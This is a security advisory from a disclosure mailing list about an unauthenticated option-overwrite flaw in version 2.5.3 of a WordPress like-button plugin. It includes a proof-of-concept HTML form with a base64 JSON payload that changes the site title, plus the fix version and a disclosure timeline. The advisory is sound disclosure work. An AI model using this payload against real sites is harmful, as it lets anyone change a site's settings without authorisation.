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Date: Tue, 10 Apr 2018 14:02:02 +0000
From: dxw Security <>
Subject: [FD] Like Button Rating ♥ LikeBtn allows anybody to set any option (WordPress plugin)

Software: Like Button Rating ♥ LikeBtn
Version: 2.5.3
Advisory report:
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Like Button Rating ♥ LikeBtn allows anybody to set any option

In the init action, this plugin checks to see if $_POST[\'likebtn_import_config\'] is empty. If it’s not empty then it base64-decodes the string, parses it as JSON, and starts changing options.

Proof of concept
The below form will set the “Site Title” option to “Temmie”:
<form method=\"POST\" action=\"http://localhost/\">
 <input type=\"text\" name=\"likebtn_import_config\" value=\"ewogICJsaWtlYnRuX3NldHRpbmdzX29wdGlvbnMiOiB7CiAgICAiYmxvZ25hbWUiOiAiVGVtbWllIgogIH0KfQo=\">
 <input type=\"submit\">
This works whether you’re logged in or not. The base64-encoded JSON above is this:
  \"likebtn_settings_options\": {
    \"blogname\": \"Temmie\"

Upgrade to version 2.5.4 or later.

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This vulnerability will be published if we do not receive a response to this report with 14 days.


2017-10-27: Discovered
2017-11-02: Reported to vendor via email
2017-11-02: Vendor reported fixed

Discovered by dxw:
Tom Adams
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